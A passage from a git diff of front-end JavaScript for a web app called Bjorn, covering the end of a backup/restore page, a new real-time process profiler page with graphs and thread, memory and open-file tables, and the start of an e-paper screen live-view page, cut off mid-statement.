(!confirm(t('backup.confirmFreshStart'))) { + return; + } + + showLoading(); + try { + const res = ensureOk(await api.post('/update_application', { mode: 'fresh_start', keeps: [] }), t('backup.freshStartFailed')); + toast(res.message || t('backup.freshStartInitiated'), 3000, 'success'); + } catch (err) { + toast(`${t('backup.freshStartFailed')}: ${err.message}`, 3200, 'error'); + } finally { + hideLoading(); + } +} + +function openModal(title) { + const modal = $('#backup-modal'); + const titleEl = $('#modal-title'); + if (titleEl) titleEl.textContent = title || t('common.options'); + + ['keep-data', 'keep-resources', 'keep-actions', 'keep-config'].forEach((id) => { + const cb = $(`#${id}`); + if (cb) cb.checked = false; + }); + + if (modal) modal.style.display = 'flex'; + if (modal) modal.setAttribute('aria-hidden', 'false'); +} + +function closeModal() { + const modal = $('#backup-modal'); + if (modal) modal.style.display = 'none'; + if (modal) modal.setAttribute('aria-hidden', 'true'); + pendingModalAction = null; +} + +function selectedKeeps() { + const map = { + 'keep-data': 'data', + 'keep-resources': 'resources', + 'keep-actions': 'actions', + 'keep-config': 'config', + }; + const keeps = []; + for (const [id, value] of Object.entries(map)) { + const cb = $(`#${id}`); + if (cb && cb.checked) keeps.push(value); + } + return keeps; +} + +async function onModalConfirm() { + const action = pendingModalAction; + if (!action) return; + + const keeps = selectedKeeps(); + closeModal(); + showLoading(); + + try { + if (action.type === 'restore') { + const mode = keeps.length ? 'selective_restore' : 'full_restore'; + const res = ensureOk(await api.post('/restore_backup', { + filename: action.filename, + mode, + keeps, + }), t('backup.restoreBackup')); + toast(res.message || t('backup.restoreCompleted'), 3000, 'success'); + await loadBackups(); + return; + } + + if (action.type === 'update') { + const res = ensureOk(await api.post('/update_application', { + mode: 'upgrade', + keeps, + }), t('backup.update')); + toast(res.message || t('backup.updateInitiated'), 3000, 'success'); + } + } catch (err) { + toast(`${t('common.failed')}: ${err.message}`, 3500, 'error'); + } finally { + hideLoading(); + } +} + +function showLoading() { + const overlay = $('#backup-loading'); + if (overlay) overlay.style.display = 'flex'; +} + +function hideLoading() { + const overlay = $('#backup-loading'); + if (overlay) overlay.style.display = 'none'; +} + +function formatDate(value) { + if (!value) return t('common.unknown'); + + if (typeof value === 'string') { + const normalized = value.replace(' ', 'T'); + const parsed = new Date(normalized); + if (!Number.isNaN(parsed.getTime())) { + return parsed.toLocaleString(); + } + return value; + } + + try { + return new Date(value).toLocaleString(); + } catch { + return String(value); + } +} diff --git a/web/js/pages/bjorn-debug.js b/web/js/pages/bjorn-debug.js new file mode 100644 index 0000000..43c6fd0 --- /dev/null +++ b/web/js/pages/bjorn-debug.js @@ -0,0 +1,644 @@ +/** + * Bjorn Debug — Real-time process profiler. + * Shows CPU, RSS, FD, threads over time + per-thread / per-file tables. + * v2: rich thread info, line-level tracemalloc, open files, graph tooltip. + */ + +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, setText, empty } from '../core/dom.js'; + +let tracker = null; +let snapshotPoller = null; + +// Ring buffers for graph +const MAX_PTS = 200; +const history = { ts: [], cpu: [], rss: [], fd: [], threads: [], swap: [] }; + +// Canvas refs +let graphCanvas = null; +let graphCtx = null; +let graphRAF = null; + +// Tooltip state +let hoverIndex = -1; +let tooltipEl = null; + +// State +let latestSnapshot = null; +let isPaused = false; + +/* ============================================================ + * mount / unmount + * ============================================================ */ + +export async function mount(container) { + tracker = new ResourceTracker('bjorn-debug'); + container.innerHTML = ''; + container.appendChild(buildLayout()); + + graphCanvas = document.getElementById('debugGraph'); + tooltipEl = document.getElementById('dbgTooltip'); + if (graphCanvas) { + graphCtx = graphCanvas.getContext('2d'); + resizeCanvas(); + tracker.trackEventListener(window, 'resize', resizeCanvas); + tracker.trackEventListener(graphCanvas, 'mousemove', onGraphMouseMove); + tracker.trackEventListener(graphCanvas, 'mouseleave', onGraphMouseLeave); + } + + // Seed with server history + try { + const h = await api.get('/api/debug/history'); + if (h && h.history) { + for (const pt of h.history) { + pushPoint(pt.ts, pt.proc_cpu_pct, pt.rss_kb, pt.fd_open, pt.py_thread_count, pt.vm_swap_kb || 0); + } + } + } catch (e) { /* first load */ } + + snapshotPoller = new Poller(fetchSnapshot, 2000); + snapshotPoller.start(); + drawLoop(); +} + +export function unmount() { + if (snapshotPoller) { snapshotPoller.stop(); snapshotPoller = null; } + if (graphRAF) { cancelAnimationFrame(graphRAF); graphRAF = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + graphCanvas = null; + graphCtx = null; + tooltipEl = null; + latestSnapshot = null; + hoverIndex = -1; + for (const k of Object.keys(history)) history[k].length = 0; +} + +/* ============================================================ + * Data fetching + * ============================================================ */ + +async function fetchSnapshot() { + if (isPaused) return; + try { + const data = await api.get('/api/debug/snapshot', { timeout: 5000, retries: 0 }); + latestSnapshot = data; + pushPoint(data.ts, data.proc_cpu_pct, data.rss_kb, data.fd_open, data.py_thread_count, data.vm_swap_kb || 0); + updateCards(data); + updateThreadTable(data); + updatePyThreadTable(data); + updateTracemallocByLine(data); + updateTracemallocByFile(data); + updateOpenFilesTable(data); + } catch (e) { /* skip */ } +} + +function pushPoint(ts, cpu, rss, fd, threads, swap) { + history.ts.push(ts); + history.cpu.push(cpu); + history.rss.push(rss); + history.fd.push(fd); + history.threads.push(threads); + history.swap.push(swap); + if (history.ts.length > MAX_PTS) { + for (const k of Object.keys(history)) history[k].shift(); + } +} + +/* ============================================================ + * Layout + * ============================================================ */ + +function buildLayout() { + const page = el('div', { class: 'dbg-page' }); + + // -- Header -- + const header = el('div', { class: 'dbg-header' }); + header.appendChild(el('h2', { class: 'dbg-title' }, ['Bjorn Debug'])); + + const controls = el('div', { class: 'dbg-controls' }); + const pauseBtn = el('button', { class: 'btn dbg-btn', id: 'dbgPause' }, ['Pause']); + pauseBtn.addEventListener('click', () => { + isPaused = !isPaused; + pauseBtn.textContent = isPaused ? 'Resume' : 'Pause'; + pauseBtn.classList.toggle('active', isPaused); + }); + const gcBtn = el('button', { class: 'btn dbg-btn', id: 'dbgGC' }, ['Force GC']); + gcBtn.addEventListener('click', async () => { + try { + const r = await api.post('/api/debug/gc/collect', {}); + if (window.toast) window.toast(`GC collected ${r.collected} objects`); + } catch (e) { if (window.toast) window.toast('GC failed'); } + }); + const tmBtn = el('button', { class: 'btn dbg-btn', id: 'dbgTracemalloc' }, ['tracemalloc: ?']); + tmBtn.addEventListener('click', async () => { + const tracing = latestSnapshot?.tracemalloc_active; + try { + const r = await api.post('/api/debug/tracemalloc', { action: tracing ? 'stop' : 'start' }); + tmBtn.textContent = `tracemalloc: ${r.tracing ? 'ON' : 'OFF'}`; + tmBtn.classList.toggle('active', r.tracing); + } catch (e) { if (window.toast) window.toast('tracemalloc toggle failed'); } + }); + controls.append(pauseBtn, gcBtn, tmBtn); + header.appendChild(controls); + page.appendChild(header); + + // -- KPI cards -- + const cards = el('div', { class: 'dbg-cards', id: 'dbgCards' }); + for (const cd of [ + { id: 'cardCPU', label: 'CPU %', value: '--' }, + { id: 'cardRSS', label: 'RSS (MB)', value: '--' }, + { id: 'cardSwap', label: 'Swap (MB)', value: '--' }, + { id: 'cardFD', label: 'Open FDs', value: '--' }, + { id: 'cardThreads', label: 'Threads', value: '--' }, + { id: 'cardPeak', label: 'RSS Peak (MB)', value: '--' }, + ]) { + const c = el('div', { class: 'dbg-card', id: cd.id }); + c.appendChild(el('div', { class: 'dbg-card-value' }, [cd.value])); + c.appendChild(el('div', { class: 'dbg-card-label' }, [cd.label])); + cards.appendChild(c); + } + page.appendChild(cards); + + // -- Graph with tooltip -- + const graphWrap = el('div', { class: 'dbg-graph-wrap' }); + const legend = el('div', { class: 'dbg-legend' }); + for (const li of [ + { color: '#00d4ff', label: 'CPU %' }, + { color: '#00ff6a', label: 'RSS (MB)' }, + { color: '#ff4169', label: 'FDs' }, + { color: '#ffaa00', label: 'Threads' }, + { color: '#b44dff', label: 'Swap (MB)' }, + ]) { + const item = el('span', { class: 'dbg-legend-item' }); + item.appendChild(el('span', { class: 'dbg-legend-dot', style: `background:${li.color}` })); + item.appendChild(document.createTextNode(li.label)); + legend.appendChild(item); + } + graphWrap.appendChild(legend); + const canvasContainer = el('div', { class: 'dbg-canvas-container' }); + canvasContainer.appendChild(el('canvas', { id: 'debugGraph', class: 'dbg-canvas' })); + canvasContainer.appendChild(el('div', { id: 'dbgTooltip', class: 'dbg-tooltip' })); + graphWrap.appendChild(canvasContainer); + page.appendChild(graphWrap); + + // -- Tables -- + const tables = el('div', { class: 'dbg-tables' }); + + // 1. Kernel threads (with Python mapping) + tables.appendChild(el('h3', { class: 'dbg-section-title' }, ['Kernel Threads (CPU %) — mapped to Python'])); + tables.appendChild(makeTable('threadTable', 'threadBody', + ['TID', 'Kernel', 'Python Name', 'Target / Current', 'State', 'CPU %', 'Bar'])); + + // 2. Python threads (rich) + tables.appendChild(el('h3', { class: 'dbg-section-title' }, ['Python Threads — Stack Trace'])); + tables.appendChild(makeTable('pyThreadTable', 'pyThreadBody', + ['Name', 'Target Function', 'Source File', 'Current Frame', 'Daemon', 'Alive'])); + + // 3. tracemalloc by LINE (the leak finder) + tables.appendChild(el('h3', { class: 'dbg-section-title' }, ['tracemalloc — Top Allocations by Line'])); + const tmInfo = el('div', { class: 'dbg-tm-info', id: 'tmInfo' }, ['tracemalloc not active — click the button to start']); + tables.appendChild(tmInfo); + tables.appendChild(makeTable('tmLineTable', 'tmLineBody', + ['File', 'Line', 'Size (KB)', 'Count', 'Bar'])); + + // 4. tracemalloc by FILE (overview) + tables.appendChild(el('h3', { class: 'dbg-section-title' }, ['tracemalloc — Aggregated by File'])); + tables.appendChild(makeTable('tmFileTable', 'tmFileBody', + ['File', 'Size (KB)', 'Count', 'Bar'])); + + // 5. Open file descriptors + tables.appendChild(el('h3', { class: 'dbg-section-title' }, ['Open File Descriptors'])); + tables.appendChild(makeTable('fdTable', 'fdBody', + ['Target', 'Type', 'Count', 'FDs', 'Bar'])); + + page.appendChild(tables); + + // CSS + const style = document.createElement('style'); + style.textContent = SCOPED_CSS; + page.appendChild(style); + + return page; +} + +function makeTable(tableId, bodyId, headers) { + const wrap = el('div', { class: 'dbg-table-wrap' }); + const table = el('table', { class: 'dbg-table', id: tableId }); + table.appendChild(el('thead', {}, [ + el('tr', {}, headers.map(h => el('th', {}, [h]))) + ])); + table.appendChild(el('tbody', { id: bodyId })); + wrap.appendChild(table); + return wrap; +} + +/* ============================================================ + * Card updates + * ============================================================ */ + +function updateCards(d) { + setCardVal('cardCPU', d.proc_cpu_pct.toFixed(1), d.proc_cpu_pct > 80 ? 'hot' : d.proc_cpu_pct > 40 ? 'warm' : ''); + setCardVal('cardRSS', (d.rss_kb / 1024).toFixed(1), d.rss_kb > 400000 ? 'hot' : d.rss_kb > 200000 ? 'warm' : ''); + setCardVal('cardSwap', ((d.vm_swap_kb || 0) / 1024).toFixed(1), d.vm_swap_kb > 50000 ? 'hot' : d.vm_swap_kb > 10000 ? 'warm' : ''); + setCardVal('cardFD', d.fd_open, d.fd_open > 500 ? 'hot' : d.fd_open > 200 ? 'warm' : ''); + setCardVal('cardThreads', `${d.py_thread_count} / ${d.kernel_threads}`, d.py_thread_count > 50 ? 'hot' : d.py_thread_count > 20 ? 'warm' : ''); + setCardVal('cardPeak', ((d.vm_peak_kb || 0) / 1024).toFixed(1), ''); + + const tmBtn = document.getElementById('dbgTracemalloc'); + if (tmBtn) { + tmBtn.textContent = `tracemalloc: ${d.tracemalloc_active ? 'ON' : 'OFF'}`; + tmBtn.classList.toggle('active', d.tracemalloc_active); + } +} + +function setCardVal(id, val, level) { + const card = document.getElementById(id); + if (!card) return; + const valEl = card.querySelector('.dbg-card-value'); + if (valEl) valEl.textContent = val; + card.classList.remove('hot', 'warm'); + if (level) card.classList.add(level); +} + +/* ============================================================ + * Tables + * ============================================================ */ + +function updateThreadTable(d) { + const body = document.getElementById('threadBody'); + if (!body || !d.threads) return; + body.innerHTML = ''; + const maxCpu = Math.max(1, ...d.threads.map(t => t.cpu_pct)); + for (const t of d.threads.slice(0, 40)) { + const pct = t.cpu_pct; + const barW = Math.max(1, (pct / maxCpu) * 100); + const barColor = pct > 50 ? '#ff4169' : pct > 15 ? '#ffaa00' : '#00d4ff'; + + // Build target/current cell + let targetText = ''; + if (t.py_target) { + targetText = t.py_target; + if (t.py_module) targetText = `${t.py_module}.${targetText}`; + } + if (t.py_current) { + targetText += targetText ? ` | ${t.py_current}` : t.py_current; + } + + const row = el('tr', { class: pct > 30 ? 'dbg-row-hot' : '' }, [ + el('td', { class: 'dbg-num' }, [String(t.tid)]), + el('td', { class: 'dbg-mono' }, [t.name]), + el('td', { class: 'dbg-mono' }, [t.py_name || '--']), + el('td', { class: 'dbg-mono dbg-target', title: targetText }, [targetText || '--']), + el('td', {}, [t.state]), + el('td', { class: 'dbg-num' }, [pct.toFixed(1)]), + el('td', {}, [el('div', { class: 'dbg-bar', style: `width:${barW}%;background:${barColor}` })]), + ]); + body.appendChild(row); + } +} + +function updatePyThreadTable(d) { + const body = document.getElementById('pyThreadBody'); + if (!body || !d.py_threads) return; + body.innerHTML = ''; + for (const t of d.py_threads) { + // Format current frame as "file:line func()" + let currentFrame = '--'; + if (t.stack_top && t.stack_top.length > 0) { + const f = t.stack_top[0]; + currentFrame = `${f.file}:${f.line} ${f.func}()`; + } + + // Build full stack tooltip + let stackTooltip = ''; + if (t.stack_top) { + stackTooltip = t.stack_top.map(f => `${f.file}:${f.line} ${f.func}()`).join('\n'); + } + + const targetFile = t.target_file || t.target_module || ''; + const shortFile = targetFile.split('/').slice(-2).join('/'); + + const row = el('tr', {}, [ + el('td', { class: 'dbg-mono dbg-name' }, [t.name]), + el('td', { class: 'dbg-mono' }, [t.target_func || '--']), + el('td', { class: 'dbg-mono dbg-file', title: targetFile }, [shortFile || '--']), + el('td', { class: 'dbg-mono dbg-target', title: stackTooltip }, [currentFrame]), + el('td', {}, [t.daemon ? 'Yes' : 'No']), + el('td', {}, [t.alive ? 'Yes' : 'No']), + ]); + body.appendChild(row); + } +} + +function updateTracemallocByLine(d) { + const info = document.getElementById('tmInfo'); + const body = document.getElementById('tmLineBody'); + if (!body) return; + + if (!d.tracemalloc_active) { + if (info) info.textContent = 'tracemalloc not active — click the button to start tracing'; + body.innerHTML = ''; + return; + } + if (info) info.textContent = `Traced: ${d.tracemalloc_current_kb.toFixed(0)} KB — Peak: ${d.tracemalloc_peak_kb.toFixed(0)} KB`; + + body.innerHTML = ''; + const items = d.tracemalloc_by_line || []; + if (!items.length) return; + const maxSize = Math.max(1, ...items.map(t => t.size_kb)); + for (const t of items) { + const barW = Math.max(1, (t.size_kb / maxSize) * 100); + const sizeColor = t.size_kb > 100 ? '#ff4169' : t.size_kb > 30 ? '#ffaa00' : '#b44dff'; + const row = el('tr', { class: t.size_kb > 100 ? 'dbg-row-hot' : '' }, [ + el('td', { class: 'dbg-mono dbg-file', title: t.full_path }, [t.file]), + el('td', { class: 'dbg-num' }, [String(t.line)]), + el('td', { class: 'dbg-num' }, [t.size_kb.toFixed(1)]), + el('td', { class: 'dbg-num' }, [String(t.count)]), + el('td', {}, [el('div', { class: 'dbg-bar', style: `width:${barW}%;background:${sizeColor}` })]), + ]); + body.appendChild(row); + } +} + +function updateTracemallocByFile(d) { + const body = document.getElementById('tmFileBody'); + if (!body) return; + body.innerHTML = ''; + const items = d.tracemalloc_by_file || []; + if (!items.length || !d.tracemalloc_active) return; + const maxSize = Math.max(1, ...items.map(t => t.size_kb)); + for (const t of items) { + const barW = Math.max(1, (t.size_kb / maxSize) * 100); + const row = el('tr', {}, [ + el('td', { class: 'dbg-mono dbg-file', title: t.full_path }, [t.file]), + el('td', { class: 'dbg-num' }, [t.size_kb.toFixed(1)]), + el('td', { class: 'dbg-num' }, [String(t.count)]), + el('td', {}, [el('div', { class: 'dbg-bar', style: `width:${barW}%;background:#b44dff` })]), + ]); + body.appendChild(row); + } +} + +function updateOpenFilesTable(d) { + const body = document.getElementById('fdBody'); + if (!body) return; + body.innerHTML = ''; + const items = d.open_files || []; + if (!items.length) return; + const maxCount = Math.max(1, ...items.map(f => f.count)); + for (const f of items) { + const barW = Math.max(1, (f.count / maxCount) * 100); + const typeColors = { + file: '#00d4ff', socket: '#ff4169', pipe: '#ffaa00', + device: '#888', proc: '#666', temp: '#b44dff', anon: '#555', other: '#444' + }; + const barColor = typeColors[f.type] || '#444'; + const fdStr = f.fds.join(', ') + (f.count > f.fds.length ? '...' : ''); + const row = el('tr', { class: f.count > 5 ? 'dbg-row-warn' : '' }, [ + el('td', { class: 'dbg-mono dbg-target', title: f.target }, [f.target]), + el('td', {}, [el('span', { class: `dbg-type-badge dbg-type-${f.type}` }, [f.type])]), + el('td', { class: 'dbg-num' }, [String(f.count)]), + el('td', { class: 'dbg-mono dbg-fds' }, [fdStr]), + el('td', {}, [el('div', { class: 'dbg-bar', style: `width:${barW}%;background:${barColor}` })]), + ]); + body.appendChild(row); + } +} + +/* ============================================================ + * Graph + tooltip + * ============================================================ */ + +function getGraphLayout() { + if (!graphCanvas) return null; + const W = graphCanvas.width; + const H = graphCanvas.height; + const dpr = window.devicePixelRatio || 1; + const pad = { l: 50 * dpr, r: 60 * dpr, t: 10 * dpr, b: 25 * dpr }; + return { W, H, dpr, pad, gW: W - pad.l - pad.r, gH: H - pad.t - pad.b }; +} + +function onGraphMouseMove(e) { + if (!graphCanvas || history.ts.length < 2) return; + const rect = graphCanvas.getBoundingClientRect(); + const L = getGraphLayout(); + if (!L) return; + + const mouseX = (e.clientX - rect.left) * L.dpr; + const frac = (mouseX - L.pad.l) / L.gW; + const idx = Math.round(frac * (history.ts.length - 1)); + + if (idx < 0 || idx >= history.ts.length) { + hoverIndex = -1; + if (tooltipEl) tooltipEl.style.display = 'none'; + return; + } + + hoverIndex = idx; + + // Position & populate tooltip + if (tooltipEl) { + const ago = history.ts[history.ts.length - 1] - history.ts[idx]; + const ts = new Date(history.ts[idx] * 1000); + const timeStr = ts.toLocaleTimeString(); + + tooltipEl.innerHTML = ` +
                              ${timeStr} (-${formatTimeAgo(ago)})
                              +
                              CPU: ${history.cpu[idx].toFixed(1)}%
                              +
                              RSS: ${(history.rss[idx] / 1024).toFixed(1)} MB
                              +
                              FDs: ${history.fd[idx]}
                              +
                              Threads: ${history.threads[idx]}
                              +
                              Swap: ${(history.swap[idx] / 1024).toFixed(1)} MB
                              + `; + tooltipEl.style.display = 'block'; + + // Tooltip positioning (CSS pixels) + const cssX = (L.pad.l / L.dpr) + (idx / (history.ts.length - 1)) * (L.gW / L.dpr); + const containerW = graphCanvas.parentElement.clientWidth; + const ttW = tooltipEl.offsetWidth; + let left = cssX + 12; + if (left + ttW > containerW - 10) left = cssX - ttW - 12; + tooltipEl.style.left = `${Math.max(0, left)}px`; + tooltipEl.style.top = '10px'; + } +} + +function onGraphMouseLeave() { + hoverIndex = -1; + if (tooltipEl) tooltipEl.style.display = 'none'; +} + +function resizeCanvas() { + if (!graphCanvas) return; + const wrap = graphCanvas.parentElement; + const dpr = window.devicePixelRatio || 1; + graphCanvas.width = wrap.clientWidth * dpr; + graphCanvas.height = 240 * dpr; + graphCanvas.style.width = wrap.clientWidth + 'px'; + graphCanvas.style.height = '240px'; +} + +function drawLoop() { + drawGraph(); + graphRAF = requestAnimationFrame(drawLoop); +} + +function drawGraph() { + const L = getGraphLayout(); + if (!L || !graphCtx) return; + const { W, H, dpr, pad, gW, gH } = L; + const ctx = graphCtx; + ctx.clearRect(0, 0, W, H); + + const pts = history.ts.length; + if (pts < 2) return; + + // Grid + ctx.strokeStyle = 'rgba(255,255,255,0.06)'; + ctx.lineWidth = 1; + for (let i = 0; i <= 4; i++) { + const y = pad.t + (gH * i) / 4; + ctx.beginPath(); ctx.moveTo(pad.l, y); ctx.lineTo(W - pad.r, y); ctx.stroke(); + } + + // Series + const series = [ + { data: history.cpu, color: '#00d4ff', label: 'CPU %' }, + { data: history.rss.map(v => v / 1024), color: '#00ff6a', label: 'RSS MB' }, + { data: history.fd, color: '#ff4169', label: 'FDs' }, + { data: history.threads, color: '#ffaa00', label: 'Threads' }, + { data: history.swap.map(v => v / 1024), color: '#b44dff', label: 'Swap MB' }, + ]; + + for (const s of series) { + if (!s.data.length) continue; + const max = Math.max(1, ...s.data) * 1.15; + ctx.strokeStyle = s.color; + ctx.lineWidth = 1.5 * dpr; + ctx.globalAlpha = 0.85; + ctx.beginPath(); + for (let i = 0; i < s.data.length; i++) { + const x = pad.l + (i / (s.data.length - 1)) * gW; + const y = pad.t + gH - (s.data[i] / max) * gH; + if (i === 0) ctx.moveTo(x, y); else ctx.lineTo(x, y); + } + ctx.stroke(); + ctx.globalAlpha = 1; + + // Right-edge label + const lastVal = s.data[s.data.length - 1]; + const lastY = pad.t + gH - (lastVal / max) * gH; + ctx.fillStyle = s.color; + ctx.font = `${10 * dpr}px monospace`; + ctx.textAlign = 'left'; + ctx.fillText(`${lastVal.toFixed(1)}`, W - pad.r + 4 * dpr, lastY + 3 * dpr); + } + + // Time axis + const timeSpan = history.ts[pts - 1] - history.ts[0]; + ctx.fillStyle = 'rgba(255,255,255,0.3)'; + ctx.font = `${9 * dpr}px monospace`; + ctx.textAlign = 'center'; + for (let i = 0; i <= 4; i++) { + const frac = i / 4; + const x = pad.l + frac * gW; + ctx.fillText(`-${formatTimeAgo(timeSpan - timeSpan * frac)}`, x, H - 5 * dpr); + } + + // Hover crosshair + if (hoverIndex >= 0 && hoverIndex < pts) { + const hx = pad.l + (hoverIndex / (pts - 1)) * gW; + ctx.strokeStyle = 'rgba(255,255,255,0.3)'; + ctx.lineWidth = 1; + ctx.setLineDash([4, 4]); + ctx.beginPath(); ctx.moveTo(hx, pad.t); ctx.lineTo(hx, pad.t + gH); ctx.stroke(); + ctx.setLineDash([]); + + // Dots on each series at hoverIndex + for (const s of series) { + if (!s.data.length || hoverIndex >= s.data.length) continue; + const max = Math.max(1, ...s.data) * 1.15; + const val = s.data[hoverIndex]; + const y = pad.t + gH - (val / max) * gH; + ctx.fillStyle = s.color; + ctx.beginPath(); + ctx.arc(hx, y, 4 * dpr, 0, Math.PI * 2); + ctx.fill(); + } + } +} + +function formatTimeAgo(secs) { + if (secs < 60) return `${Math.round(secs)}s`; + return `${Math.floor(secs / 60)}m${Math.round(secs % 60)}s`; +} + +/* ============================================================ + * Scoped CSS + * ============================================================ */ + +const SCOPED_CSS = ` +.dbg-page { padding: 12px; max-width: 1600px; margin: 0 auto; } + +.dbg-header { display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 8px; margin-bottom: 12px; } +.dbg-title { margin: 0; font-size: 1.3em; color: var(--text, #e0e0e0); } +.dbg-controls { display: flex; gap: 6px; flex-wrap: wrap; } +.dbg-btn { font-size: 0.78em; padding: 4px 10px; border: 1px solid rgba(255,255,255,0.15); border-radius: 4px; background: rgba(255,255,255,0.04); color: var(--text, #ccc); cursor: pointer; transition: all .15s; } +.dbg-btn:hover { background: rgba(255,255,255,0.1); } +.dbg-btn.active { background: rgba(0,212,255,0.15); border-color: #00d4ff; color: #00d4ff; } + +/* KPI cards */ +.dbg-cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); gap: 8px; margin-bottom: 14px; } +.dbg-card { background: rgba(255,255,255,0.03); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; padding: 10px 12px; text-align: center; transition: border-color .3s, background .3s; } +.dbg-card.warm { border-color: #ffaa00; background: rgba(255,170,0,0.06); } +.dbg-card.hot { border-color: #ff4169; background: rgba(255,65,105,0.08); } +.dbg-card-value { font-size: 1.6em; font-weight: 700; font-family: monospace; color: var(--text, #fff); line-height: 1.2; } +.dbg-card-label { font-size: 0.72em; color: rgba(255,255,255,0.45); margin-top: 2px; text-transform: uppercase; letter-spacing: .5px; } +.dbg-card.hot .dbg-card-value { color: #ff4169; } +.dbg-card.warm .dbg-card-value { color: #ffaa00; } + +/* Graph */ +.dbg-graph-wrap { background: rgba(0,0,0,0.25); border: 1px solid rgba(255,255,255,0.06); border-radius: 8px; padding: 8px; margin-bottom: 14px; } +.dbg-canvas-container { position: relative; } +.dbg-canvas { width: 100%; height: 240px; display: block; cursor: crosshair; } +.dbg-legend { display: flex; gap: 14px; padding: 0 4px 6px; flex-wrap: wrap; } +.dbg-legend-item { display: inline-flex; align-items: center; gap: 4px; font-size: 0.72em; color: rgba(255,255,255,0.55); } +.dbg-legend-dot { width: 8px; height: 8px; border-radius: 50%; display: inline-block; } + +/* Tooltip */ +.dbg-tooltip { display: none; position: absolute; top: 10px; left: 0; background: rgba(10,10,20,0.92); border: 1px solid rgba(255,255,255,0.15); border-radius: 6px; padding: 8px 12px; font-size: 0.76em; color: #ddd; pointer-events: none; z-index: 10; white-space: nowrap; backdrop-filter: blur(8px); box-shadow: 0 4px 12px rgba(0,0,0,0.4); } +.dbg-tt-time { color: rgba(255,255,255,0.5); margin-bottom: 4px; font-size: 0.9em; } +.dbg-tt-row { display: flex; align-items: center; gap: 6px; line-height: 1.6; } +.dbg-tt-dot { width: 6px; height: 6px; border-radius: 50%; display: inline-block; flex-shrink: 0; } +.dbg-tt-row b { color: #fff; } + +/* Tables */ +.dbg-section-title { font-size: 0.95em; color: var(--text, #ccc); margin: 16px 0 6px; border-bottom: 1px solid rgba(255,255,255,0.08); padding-bottom: 4px; } +.dbg-table-wrap { overflow-x: auto; margin-bottom: 10px; max-height: 350px; overflow-y: auto; } +.dbg-table { width: 100%; border-collapse: collapse; font-size: 0.76em; } +.dbg-table th { position: sticky; top: 0; background: rgba(20,20,30,0.95); text-align: left; padding: 5px 8px; color: rgba(255,255,255,0.5); font-weight: 600; text-transform: uppercase; font-size: 0.82em; letter-spacing: .3px; border-bottom: 1px solid rgba(255,255,255,0.1); z-index: 1; } +.dbg-table td { padding: 4px 8px; border-bottom: 1px solid rgba(255,255,255,0.04); color: var(--text, #bbb); } +.dbg-table tr:hover td { background: rgba(255,255,255,0.04); } +.dbg-row-hot td { color: #ff4169 !important; } +.dbg-row-warn td { color: #ffaa00 !important; } +.dbg-mono { font-family: monospace; font-size: 0.9em; } +.dbg-num { text-align: right; font-family: monospace; } +.dbg-name { font-weight: 600; } +.dbg-file { max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +.dbg-target { max-width: 400px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +.dbg-fds { max-width: 120px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; color: rgba(255,255,255,0.4); } +.dbg-bar { height: 10px; border-radius: 3px; min-width: 2px; transition: width .3s; } +.dbg-tm-info { font-size: 0.78em; color: rgba(255,255,255,0.4); margin-bottom: 6px; font-style: italic; } + +/* Type badges */ +.dbg-type-badge { display: inline-block; padding: 1px 6px; border-radius: 3px; font-size: 0.82em; font-weight: 600; } +.dbg-type-file { background: rgba(0,212,255,0.12); color: #00d4ff; } +.dbg-type-socket { background: rgba(255,65,105,0.12); color: #ff4169; } +.dbg-type-pipe { background: rgba(255,170,0,0.12); color: #ffaa00; } +.dbg-type-device { background: rgba(136,136,136,0.15); color: #aaa; } +.dbg-type-proc { background: rgba(100,100,100,0.15); color: #888; } +.dbg-type-temp { background: rgba(180,77,255,0.12); color: #b44dff; } +.dbg-type-anon { background: rgba(80,80,80,0.15); color: #777; } +.dbg-type-other { background: rgba(60,60,60,0.15); color: #666; } +`; diff --git a/web/js/pages/bjorn.js b/web/js/pages/bjorn.js new file mode 100644 index 0000000..1935b8a --- /dev/null +++ b/web/js/pages/bjorn.js @@ -0,0 +1,185 @@ +/** + * Bjorn page module — EPD (e-paper display) live view. + * + * Displays a live-updating screenshot of the Bjorn device's e-paper display. + * The image is refreshed at a configurable interval fetched from /get_web_delay. + * Supports mouse-wheel zoom and auto-fits to the container on window resize. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $ } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'bjorn'; +const DEFAULT_DELAY = 5000; +const ZOOM_FACTOR = 1.1; + +let tracker = null; +let refreshInterval = null; +let currentScale = 1; +let delay = DEFAULT_DELAY; +let imgEl = null; +let containerEl = null; + +/* ============================ + * Mount + * ============================ */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + currentScale = 1; + + // Fetch the configured refresh delay + try { + const data = await api.get('/get_web_delay', { timeout: 5000, retries: 1 }); + if (data && typeof data.web_delay === 'number' && data.web_delay > 0) { + delay = data.web_delay; + } + } catch (err) { + console.warn(`[${PAGE}] Failed to fetch web_delay, using default ${DEFAULT_DELAY}ms:`, err.message); + delay = DEFAULT_DELAY; + } + + // Build layout + imgEl = el('img', { + src: `/web/screen.png?t=${Date.now()}`, + alt: t('nav.bjorn'), + class: 'bjorn-epd-img', + style: { + maxWidth: '100%', + maxHeight: '100%', + width: 'auto', + objectFit: 'contain', + display: 'block', + }, + draggable: 'false', + }); + + containerEl = el('div', { + class: 'bjorn-container', style: { + display: 'flex', + alignItems: 'center', + justifyContent: 'center', + width: '100%', + height: '100%', + overflow: 'hidden', + } + }, [imgEl]); + + container.appendChild(containerEl); + + // Click to toggle UI (restored from old version) + const onImageClick = () => { + const topbar = $('.topbar'); + const bottombar = $('.bottombar'); + const console = $('.console'); + const appContainer = $('#app'); + + const toggle = (el) => { + if (!el) return; + el.style.display = (el.style.display === 'none') ? '' : 'none'; + }; + + toggle(topbar); + toggle(bottombar); + toggle(console); + + // Expand/restore app-container to use full space when bars hidden + if (appContainer) { + const barsHidden = topbar && topbar.style.display === 'none'; + if (barsHidden) { + appContainer.style.position = 'fixed'; + appContainer.style.inset = '0'; + appContainer.style.zIndex = '50'; + } else { + appContainer.style.position = 